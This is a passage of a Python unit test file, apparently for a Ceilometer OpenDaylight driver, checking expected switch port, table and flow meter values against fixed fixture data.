'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.bytes', expected_data) def test_meter_switch_port_transmit_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (12110, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (12670, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.transmit.bytes', expected_data) def test_meter_switch_port_receive_drops(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.drops', expected_data) def test_meter_switch_port_transmit_drops(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.transmit.drops', expected_data) def test_meter_switch_port_receive_errors(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.errors', expected_data) def test_meter_switch_port_transmit_errors(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.transmit.errors', expected_data) def test_meter_switch_port_receive_frame_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.frame_error', expected_data) def test_meter_switch_port_receive_overrun_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.overrun_error', expected_data) def test_meter_switch_port_receive_crc_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.crc_error', expected_data) def test_meter_switch_port_collision_count(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.collision.count', expected_data) def test_meter_switch_table(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1'}), ] self._test_for_meter('switch.table', expected_data) def test_meter_switch_table_active_entries(self): expected_data = [ (11, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), (20, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1'}), ] self._test_for_meter('switch.table.active.entries', expected_data) def test_meter_switch_table_lookup_packets(self): expected_data = [ (816, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), (10, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1'}), ] self._test_for_meter('switch.table.lookup.packets', expected_data) def test_meter_switch_table_matched_packets(self): expected_data = [ (220, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), (5, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1'}), ] self._test_for_meter('switch.table.matched.packets', expected_data) def test_meter_switch_flow(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1" }), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.2", "flow_actions_@type": "output", "flow_actions_port_id": "4", "flow_actions_port_node_id": "00:00:00:00:00:00:00:03", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1" }), ] self._test_for_meter('switch.flow', expected_data) def test_meter_switch_flow_duration_seconds(self): expected_data = [ (1828, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), (5648, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.2", "flow_actions_@type": "output", "flow_actions_port_id": "4", "flow_actions_port_node_id": "00:00:00:00:00:00:00:03", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.duration_seconds', expected_data) def test_meter_switch_flow_duration_nanoseconds(self): expected_data = [ (397000000, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), (200000, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.2", "flow_actions_@type": "output", "flow_actions_port_id": "4", "flow_actions_port_node_id": "00:00:00:00:00:00:00:03", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.duration_nanoseconds', expected_data) def test_meter_switch_flow_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), (30, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.2", "flow_actions_@type": "output", "flow_actions_port_id": "4", "flow_actions_port_node_id": "00:00:00:00:00:00:00:03", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.packets', expected_data) def test_meter_switch_flow_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), (89, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '1', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.2", "flow_actions_@type": "output", "flow_actions_port_id": "4", "flow_actions_port_node_id": "00:00:00:00:00:00:00:03", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.bytes', expected_data)
apache-2.0